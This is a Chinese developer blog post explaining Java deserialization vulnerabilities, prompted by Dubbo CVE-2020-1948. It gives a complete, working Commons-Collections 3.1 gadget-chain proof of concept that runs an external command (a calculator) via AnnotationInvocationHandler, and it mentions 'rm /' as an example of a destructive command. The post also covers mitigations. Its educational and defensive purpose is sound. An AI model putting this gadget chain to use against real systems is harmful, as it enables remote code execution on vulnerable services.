这周收到外部互助同事推送的一篇文章,【漏洞通知布告】Apache Dubbo Provider默认反序列化远程代码实行漏洞(CVE-2020-1948)通知布告。
按照文章表露的漏洞影响范围,可以说是当前所有的 Dubbo 的版本都有这个问题。
不足为奇,这周在 Github 自己的仓库上推送几行改动,不一会就收到 Github 安全提示,警告当前项目存在安全漏洞CVE-2018-10237。

可以看到这两个漏洞都是利用反序列化进行实行恶意代码,可能很多同学跟我当月朔样,看到这个一脸懵逼。好端真个反序列化,怎么就能被恶意利用,用来实行的恶意代码?
这篇文章我们就来聊聊反序列化漏洞,理解一下黑客是如何利用这个漏洞进行攻击。
先赞后看,养成习气!
微信搜索『程序通事』,关注就完事了!
在理解反序列化漏洞之前,首先我们学习一下两个根本知识。
Java 运行外部命令Java 中有一个类 Runtime,我们可以利用这个类实行实行一些外部命令。
下面例子中我们利用 Runtime 运行打开系统的打算器软件。
//仅适用macosRuntime.getRuntime().exec("open-aCalculator");
有了这个类,恶意代码就可以实行外部命令,比如实行一把 rm /。
序列化/反序列化如果常常利用 Dubbo,Java 序列化与反序列化该当不会陌生。
一个类通过实现 Serializable接口,我们就可以将其序列化成二进制数据,进而存储在文件中,或者利用网络传输。
其他程序可以通过网络吸收,或者读取文件的办法,读取序列化的数据,然后对其进行反序列化,从而反向得到相应的类的实例。
下面的例子我们将 App 的工具进行序列化,然后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化得到 App 类的工具实例。
publicclassAppimplementsSerializable{privateStringname;privatestaticfinallongserialVersionUID=7683681352462061434L;privatevoidreadObject(java.io.ObjectInputStreamin)throwsIOException,ClassNotFoundException{in.defaultReadObject();System.out.println("readObjectnameis"+name);Runtime.getRuntime().exec("open-aCalculator");}publicstaticvoidmain(String[]args)throwsIOException,ClassNotFoundException{Appapp=newApp();app.name="程序通事";FileOutputStreamfos=newFileOutputStream("test.payload");ObjectOutputStreamos=newObjectOutputStream(fos);//writeObject()方法将Unsafe工具写入object文件os.writeObject(app);os.close();//从文件中反序列化obj工具FileInputStreamfis=newFileInputStream("test.payload");ObjectInputStreamois=newObjectInputStream(fis);//规复工具AppobjectFromDisk=(App)ois.readObject();System.out.println("mainnameis"+objectFromDisk.name);ois.close();}
实行结果:
readObject name is 程序通事main name is 程序通事
并且成功打开了打算器程序。
当我们调用 ObjectInputStream#readObject读取反序列化的数据,如果工具内实现了 readObject方法,这个方法将会被调用。
源码如下:
反序列化漏洞实行条件
上面的例子中,我们在 readObject 方法内主动利用Runtime实行外部命令。但是正常的情形下,我们肯定不会在 readObject写上述代码,除非是内鬼 ̄□ ̄||
如果可以找到一个工具,他的readObject方法可以实行任意代码,那么在反序列过程也会实行对应的代码。我们只要将知足上述条件的工具序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会实行指定的代码。
为了使反序列化漏洞成功实行须要知足以下条件:
Java 反序列化运用中须要存在序列化利用的类,不然反序列化时将会抛出 ClassNotFoundException 非常。Java 反序列化工具的 readObject方法可以实行任何代码,没有任何验证或者限定。引用一段网上的反序列化攻击流程,来源:https://xz.aliyun.com/t/7031
客户端布局payload(有效载荷),并进行一层层的封装,完成末了的exp(exploit-利用代码)
exp发送到做事端,进入一个做事端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化规复我们布局的exp去形成一个恶意的数据格式exp_1(剥去第一层)
这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在表面的逻辑中),会实行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
末了在一个可实行任意命令的函数中实行末了的payload,完发展途代码实行。
Common-Collections下面我们以 Common-Collections 的存在反序列化漏洞为例,来复现反序列化攻击流程。
首先我们在运用内引入 Common-Collections 依赖,这里须要把稳,我们须要引入 3.2.2 版本之前,之后的版本这个漏洞已经被修复。
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>
PS:下面的代码只有在 JDK7 环境下实行才能复现这个问题。
首先我们须要明确,我们做一系列目的便是为了让运用程序成功实行 Runtime.getRuntime().exec("open -a Calculator")。
当然我们没办法让程序直接运行上述语句,我们须要借助其他类,间接实行。
Common-Collections存在一个 Transformer,可以将一个工具类型转为另一个工具类型,相称于 Java Stream 中的 map 函数。
Transformer有几个实现类:
ConstantTransformerInvokerTransformerChainedTransformer个中 ConstantTransformer用于将工具转为一个常量值,例如:
Transformertransformer=newConstantTransformer("程序通事");Objecttransform=transformer.transform("楼下小黑哥");//输出工具为程序通事System.out.println(transform);
InvokerTransformer将会利用反射机制实行指定方法,例如:
Transformertransformer=newInvokerTransformer("append",newClass[]{String.class},newObject[]{"楼下小黑哥"});StringBuilderinput=newStringBuilder("程序通事-");//反射实行了input.append("楼下小黑哥");Objecttransform=transformer.transform(input);//程序通事-楼下小黑哥System.out.println(transform);
ChainedTransformer 须要传入一个 Transformer[]数组工具,利用任务链模式实行的内部 Transformer,例如:
Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.getRuntime()),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open-aCalculator"})};TransformerchainTransformer=newChainedTransformer(transformers);chainTransformer.transform("任意工具值");
通过 ChainedTransformer 链式实行 ConstantTransformer,InvokerTransformer逻辑,末了我们成功的运行的 Runtime语句。
不过上述的代码存在一些问题,Runtime没有继续 Serializable接口,我们无法将其进行序列化。
如果对其进行序列化程序将会抛出非常:
image-20200705123341395
我们须要改造以上代码,利用 Runtime.class 经由一系列的反射实行:
String[]execArgs=newString[]{"open-aCalculator"};finalTransformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},execArgs),};
刚打仗这块的同学的该当已经看晕了吧,没紧要,我将上面的代码翻译一下正常的反射代码一下:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("open-aCalculator");
TransformedMap
接下来我们须要找到干系类,可以自动调用Transformer内部方法。
Common-Collections内有两个类将会调用 Transformer:
TransformedMapLazyMap下面将会紧张先容 TransformedMap触发办法,LazyMap触发办法比较类似,感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1。
Github 地址:https://github.com/frohoff/ysoserial
TransformedMap 可以用来对 Map 进行某种变换,底层事理实际上是利用传入的 Transformer 进行转换。
Transformertransformer=newConstantTransformer("程序通事");Map<String,String>testMap=newHashMap<>();testMap.put("a","A");//只对value进行转换Mapdecorate=TransformedMap.decorate(testMap,null,transformer);//put方法将会触发调用Transformer内部方法decorate.put("b","B");for(Objectentry:decorate.entrySet()){Map.Entrytemp=(Map.Entry)entry;if(temp.getKey().equals("a")){//Map.EntrysetValue也会触发Transformer内部方法temp.setValue("AAA");}}System.out.println(decorate);
输出结果为:
{b=程序通事,a=程序通事}
AnnotationInvocationHandler
上文中我们知道了,只要调用 TransformedMap的 put 方法,或者调用 Map.Entry的 setValue方法就可以触发我们设置的 ChainedTransformer,从而触发 Runtime 实行外部命令。
现在我们就须要找到一个可序列化的类,这个类恰好实现了 readObject,且恰好可以调用 Map put 的方法或者调用 Map.Entry的 setValue。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler,恰好知足上述的条件。这个类布局函数可以设置一个 Map 变量,这下刚好可以把上面的 TransformedMap 设置进去。
不过不要高兴的太早,这个类没有 public 润色符,默认只有同一个包才可以利用。
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。
示例代码如下:
Classcls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructorctor=cls.getDeclaredConstructor(Class.class,Map.class);ctor.setAccessible(true);//随便利用一个表明Objectinstance=ctor.newInstance(Target.class,exMap);
完全的序列化漏洞示例代码如下 :
String[]execArgs=newString[]{"open-aCalculator"};finalTransformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},execArgs),};//TransformertransformerChain=newChainedTransformer(transformers);Map<String,String>tempMap=newHashMap<>();//tempMap不能为空tempMap.put("value","you");MapexMap=TransformedMap.decorate(tempMap,null,transformerChain);Classcls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructorctor=cls.getDeclaredConstructor(Class.class,Map.class);ctor.setAccessible(true);//随便利用一个表明Objectinstance=ctor.newInstance(Target.class,exMap);Filef=newFile("test.payload");ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream(f));oos.writeObject(instance);oos.flush();oos.close();ObjectInputStreamois=newObjectInputStream(newFileInputStream(f));//触发代码实行ObjectnewObj=ois.readObject();ois.close();
上面代码中须要把稳,tempMap须要一定不能为空,且 key 一定假如 value。那可能有的同学为什么一定要这样设置?
tempMap不能为空的缘故原由是由于 readObject 方法内须要遍历内部 Map.Entry.
至于第二个问题,别问,问便是玄学~好吧,我也没研究清楚--,有理解的小伙伴的留言一下。
末了总结一下这个反序列化漏洞代码实行链路如下:
Common-Collections 漏洞修复办法
在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的调用,从而使我们上面布局的 AnnotationInvocationHandler+TransformedMap失落效。
其余 Common-Collections3.2.2 版本,对这些不屈安的 Java 类序列化支持增加了开关,默认为关闭状态。
比如在 InvokerTransformer类中重写 readObject,增干系判断。如果没有开启不屈安的类的序列化则会抛出UnsupportedOperationException非常
Dubbo 反序列化漏洞
Dubbo 反序列化漏洞事理与上面的类似,但是实行的代码攻击链与上面完备不一样,这里就不再复现的详细的实现的办法,感兴趣的可以看下面两篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
Dubbo 在 2020-06-22 日发布 2.7.7 版本,升级内容名个中包括了这个反序列化漏洞的修复。不过从其他人发布的文章来看,2.7.7 版本的修复办法,只是初步改进了问题,不过并没有根本上办理的这个问题。
感兴趣的同学可以看下这篇文章:
https://www.freebuf.com/mob/vuls/241975.html
防护方法末了作为一名普通的开拓者来说,我们自己来修复这种漏洞,实在不太现实。
术业有专攻,这种专业的事,我们就交给个高的人来顶。
我们须要做的事,便是理解的这些漏洞的一些基本事理,树立的一定意识。
其次我们须要理解一些基本的防护方法,做到一些基本的防御。
如果碰到这类问题,我们及时须要关注官方的新的修复版本,尽早升级,比如 Common-Collections 版本升级。
有些依赖 jar 包,升级还是方便,但是有些东西升级就比较麻烦了。就比如这次 Dubbo 来说,官方目前只放出的 Dubbo 2.7 版本的修复版本,如果我们须要升级,须要将版本直接升级到 Dubbo 2.7.7。
如果你目前已经在利用 Dubbo 2.7 版本,那么升级还是比较大略。但是如果还在利用 Dubbo 2.6 以下版本的,那么就麻烦了,没办法直接升级。
Dubbo 2.6 到 Dubbo 2.7 版本,个中升级太多了东西,就比如包名变更,影响真的比较大。
就拿我们系统来讲,我们目前这套系统,生产还在利用 JDK7。如果须要升级,我们首先须要升级 JDK。
其次,我们目前大部分运用还在利用 Dubbo 2.5.6 版本,这是真的,版本便是这么低。
这部分运用直接升级到 Dubbo 2.7 ,改动实在非常大。其余有些根本做事,自从第一次支配之后,就再也没有重新支配过。对付这类运用还须要仔细评估。
末了,我们有些运用,自己实现了 Dubbo SPI,由于 Dubbo 2.7 版本的包路径改动,这些 Dubbo SPI 干系包路径也须要做出一些改动。
以是直接升级到 Dubbo 2.7 版本的,对付一些老系统来讲,还真是一件比较麻烦的事。
如果真的须要升级,不建议一次性全部升级,建议采取逐步升级更换的办法,逐步将全体系统的内 Dubbo 版本的升级。
以是这种情形下,短韶光内防御方法,可参考玄武实验室给出的方案:
如果当前 Dubbo 支配云上,那实在比较大略,可以利用云厂商的供应的干系流量监控产品,提前一步阻挡漏洞的利用。
末了(来个一键四连!!
!
)
本人不是从事安全开拓,上文中干系总结都是查询网上资料,然后加以自己的理解。如果有任何缺点,麻烦各位大佬轻喷~
如果可以的话,留言指出,感激了~
好了,说完了正事,来说说这周的趣事~
这周搬到了小黑屋,哼次哼次进入开拓~
刚进到小黑屋的时候,我创造里面的桌子,可以单独拆开。于是我就单独拆除一个桌子,然后霸占了一个背靠窗,正面直对大门的天然划水摸鱼的好位置。
之后我又叫来其余一个同事,坐在我的边上。当我们的把电脑,显示器啥的都搬过来放到桌子上之后。表面进来的同事就说这个会议室怎么就变成了跟房产线下门店一样了~
还真别说,在我的位置前面摆上两把椅子,就跟上面的图一样了~
好了,下周有点不知道些什么,大家有啥想理解,感兴趣的,可以留言一下~
如果没有写作主题的话,咱就干回老本行,来聊聊这段韶光,我在开拓的聚合支付模式,尽请期待哈~
帮助资料http://blog.nsfocus.net/deserialization/http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知识点整理/https://xz.aliyun.com/t/2041https://xz.aliyun.com/t/2028https://www.freebuf.com/vuls/241975.htmlhttp://rui0.cn/archives/1338http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.htmlhttps://security.tencent.com/index.php/blog/msg/97JAVA反序列化漏洞完全过程剖析与调试https://security.tencent.com/index.php/blog/msg/131https://paper.seebug.org/1264/#35